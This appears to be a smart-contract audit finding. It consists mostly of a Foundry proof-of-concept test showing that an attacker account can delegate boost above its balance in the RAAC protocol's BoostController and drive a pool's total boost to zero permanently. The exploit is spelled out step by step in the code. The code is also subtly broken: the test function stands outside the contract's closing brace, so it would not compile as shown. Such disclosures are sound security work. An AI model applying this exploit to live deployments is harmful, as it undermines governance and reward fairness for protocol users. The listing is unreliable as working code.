This vulnerability can be exploited to severely damage the protocol’s governance, financial stability, and fairness in reward distribution.
To demonstrate this vulnerability, the following Proof of Concept (PoC) is provided. The PoC is written using the Foundry tool.
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {veRAACToken} from "../src/core/tokens/veRAACToken.sol";
import {RAACToken} from "../src/core/tokens/RAACToken.sol";
import {TimelockController} from "../src/core/governance/proposals/TimelockController.sol";
import {Governance} from "../src/core/governance/proposals/Governance.sol";
import {BoostController} from "../src/core/governance/boost/BoostController.sol";
import {TimeWeightedAverage} from "../src/libraries/math/TimeWeightedAverage.sol";
import {LockManager} from "../src/libraries/governance/LockManager.sol";
import {IveRAACToken} from "../src/interfaces/core/tokens/IveRAACToken.sol";
import {IGovernance} from "../src/interfaces/core/governance/proposals/IGovernance.sol";
contract GovernanceTest is Test {
veRAACToken veRaacToken;
RAACToken raacToken;
TimelockController timelockController;
Governance governance;
BoostController boostController;
address RAAC_OWNER = makeAddr("RAAC_OWNER");
address RAAC_MINTER = makeAddr("RAAC_MINTER");
uint256 initialRaacSwapTaxRateInBps = 200;
uint256 initialRaacBurnTaxRateInBps = 150;
address VE_RAAC_OWNER = makeAddr("VE_RAAC_OWNER");
address ALICE = makeAddr("ALICE");
address BOB = makeAddr("BOB");
address CHARLIE = makeAddr("CHARLIE");
address DEVIL = makeAddr("DEVIL");
address BIG_E = makeAddr("BIG_E");
address XAVIER_WOODS = makeAddr("XAVIER_WOODS");
address KOFI_KINGSTON = makeAddr("KOFI_KINGSTON");
address PROPOSER_1 = makeAddr("PROPOSER_1");
address PROPOSER_2 = makeAddr("PROPOSER_2");
address PROPOSER_3 = makeAddr("PROPOSER_3");
address PROPOSER_4 = makeAddr("PROPOSER_4");
address PROPOSER_5 = makeAddr("PROPOSER_5");
address EXECUTOR_1 = makeAddr("EXECUTOR_1");
address EXECUTOR_2 = makeAddr("EXECUTOR_2");
address EXECUTOR_3 = makeAddr("EXECUTOR_3");
address EXECUTOR_4 = makeAddr("EXECUTOR_4");
address EXECUTOR_5 = makeAddr("EXECUTOR_5");
address TIMELOCK_OWNER = makeAddr("TIMELOCK_OWNER");
address GOVERNANCE_OWNER = makeAddr("GOVERNANCE_OWNER");
address BOOST_CONTROLLER_OWNER = makeAddr("BOOST_CONTROLLER_OWNER");
uint256 timelockControllerMinDelay = 2 days;
address[] private proposers;
address[] private executors;
address admin;
address[] private proposalTargets;
uint256[] private proposalValues;
bytes[] private proposalCalldatas;
string private proposalDescription;
IGovernance.ProposalType proposalProposalType;
function setUp() public {
raacToken = new RAACToken(RAAC_OWNER, initialRaacSwapTaxRateInBps, initialRaacBurnTaxRateInBps);
vm.startPrank(VE_RAAC_OWNER);
veRaacToken = new veRAACToken(address(raacToken));
vm.stopPrank();
vm.startPrank(BOOST_CONTROLLER_OWNER);
boostController = new BoostController(address(veRaacToken));
vm.stopPrank();
proposers.push(PROPOSER_1);
proposers.push(PROPOSER_2);
proposers.push(PROPOSER_3);
proposers.push(PROPOSER_4);
proposers.push(PROPOSER_5);
executors.push(EXECUTOR_1);
executors.push(EXECUTOR_2);
executors.push(EXECUTOR_3);
executors.push(EXECUTOR_4);
executors.push(EXECUTOR_5);
vm.startPrank(TIMELOCK_OWNER);
TimelockController tempTimelockController =
new TimelockController(timelockControllerMinDelay, proposers, executors, TIMELOCK_OWNER);
timelockController = new TimelockController(timelockControllerMinDelay, proposers, executors, TIMELOCK_OWNER);
vm.stopPrank();
vm.startPrank(GOVERNANCE_OWNER);
governance = new Governance(address(veRaacToken), address(tempTimelockController));
governance.setTimelock(address(timelockController));
vm.stopPrank();
proposalTargets.push(address(tempTimelockController));
proposalValues.push(0);
proposalCalldatas.push(abi.encodeWithSignature("setValue(uint256)", 42));
proposalDescription = "Proposal String";
proposalProposalType = IGovernance.ProposalType.ParameterChange;
vm.startPrank(TIMELOCK_OWNER);
timelockController.grantRole(timelockController.PROPOSER_ROLE(), address(governance));
timelockController.grantRole(timelockController.EXECUTOR_ROLE(), address(governance));
timelockController.grantRole(timelockController.CANCELLER_ROLE(), address(governance));
vm.stopPrank();
getveRaacTokenForProposer();
}
function getveRaacTokenForProposer() private {
uint256 LOCK_AMOUNT = 10_000_000e18;
uint256 LOCK_DURATION = 365 days;
vm.startPrank(RAAC_OWNER);
raacToken.setMinter(RAAC_MINTER);
vm.stopPrank();
vm.startPrank(RAAC_MINTER);
raacToken.mint(PROPOSER_1, LOCK_AMOUNT);
raacToken.mint(PROPOSER_2, LOCK_AMOUNT);
raacToken.mint(PROPOSER_3, LOCK_AMOUNT);
raacToken.mint(PROPOSER_4, LOCK_AMOUNT);
raacToken.mint(PROPOSER_5, LOCK_AMOUNT);
raacToken.mint(ALICE, LOCK_AMOUNT);
raacToken.mint(BOB, LOCK_AMOUNT);
raacToken.mint(CHARLIE, LOCK_AMOUNT);
raacToken.mint(DEVIL, LOCK_AMOUNT);
raacToken.mint(BIG_E, 1_000_000e18);
raacToken.mint(XAVIER_WOODS, 1_000_000e18);
raacToken.mint(KOFI_KINGSTON, 1_000_000e18);
vm.stopPrank();
vm.startPrank(PROPOSER_1);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_2);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_3);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_4);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_5);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(ALICE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(BOB);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(CHARLIE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(DEVIL);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(BIG_E);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(XAVIER_WOODS);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(KOFI_KINGSTON);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
}
}
function testAttackersOrUsersCanDelegateAboveAvailableBoostBalance() public {
vm.warp(block.timestamp + 365 days / 2);
address poolAddress = makeAddr("DUMMY_POOL");
vm.startPrank(BOOST_CONTROLLER_OWNER);
boostController.modifySupportedPool(poolAddress, true);
vm.stopPrank();
(uint256 amount, uint256 expiry, address delegatee, uint256 userLastUpdateTime) =
boostController.getUserBoost(DEVIL, poolAddress);
console.log("devil's boost info before delegation...");
console.log("amount : ", amount);
console.log("expiry : ", expiry);
console.log("delegatee : ", delegatee);
console.log("userLastUpdateTime: ", userLastUpdateTime);
vm.startPrank(ALICE);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(ALICE, poolAddress);
vm.stopPrank();
vm.startPrank(BOB);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(BOB, poolAddress);
vm.stopPrank();
vm.startPrank(CHARLIE);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(CHARLIE, poolAddress);
vm.stopPrank();
vm.startPrank(BIG_E);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(BIG_E, poolAddress);
vm.stopPrank();
vm.startPrank(XAVIER_WOODS);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(XAVIER_WOODS, poolAddress);
vm.stopPrank();
vm.startPrank(KOFI_KINGSTON);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(KOFI_KINGSTON, poolAddress);
(uint256 totalBoost, uint256 workingSupply, uint256 baseSupply, uint256 lastUpdateTime) =
boostController.getPoolBoost(poolAddress);
console.log("pool's boost before devil's delegation...");
console.log("totalBoost : ", totalBoost);
console.log("workingSupply : ", workingSupply);
console.log("baseSupply : ", baseSupply);
console.log("lastUpdateTime: ", lastUpdateTime);
(, uint256 devilCalculatedBoost) = boostController.calculateBoost(DEVIL, poolAddress, 10000);
console.log("devilCalculatedBoost: ", devilCalculatedBoost);
vm.startPrank(DEVIL);
boostController.delegateBoost(poolAddress, 11612 + totalBoost, 7 days);
boostController.updateUserBoost(DEVIL, poolAddress);
vm.stopPrank();
(amount, expiry, delegatee, userLastUpdateTime) = boostController.getUserBoost(DEVIL, poolAddress);
console.log("devil's boost info after delegation...");
console.log("amount : ", amount);
console.log("expiry : ", expiry);
console.log("delegatee : ", delegatee);
console.log("userLastUpdateTime: ", userLastUpdateTime);
(totalBoost, workingSupply, baseSupply, lastUpdateTime) = boostController.getPoolBoost(poolAddress);
console.log("pool's boost after devil's delegation...");
console.log("totalBoost : ", totalBoost);
console.log("workingSupply : ", workingSupply);
console.log("baseSupply : ", baseSupply);
console.log("lastUpdateTime: ", lastUpdateTime);
vm.warp(block.timestamp + 7 days + 1);
vm.startPrank(poolAddress);
boostController.removeBoostDelegation(DEVIL);
vm.stopPrank();
(totalBoost, workingSupply, baseSupply, lastUpdateTime) = boostController.getPoolBoost(poolAddress);
console.log("pool's boost after removing devil's delegation...");
console.log("totalBoost : ", totalBoost);
console.log("workingSupply : ", workingSupply);
console.log("baseSupply : ", baseSupply);
console.log("lastUpdateTime: ", lastUpdateTime);
}
As demonstrated, the test confirms that the (delegatee) pools's boost total amount becomes zero and it can't be fixed even after removing malicious delegation.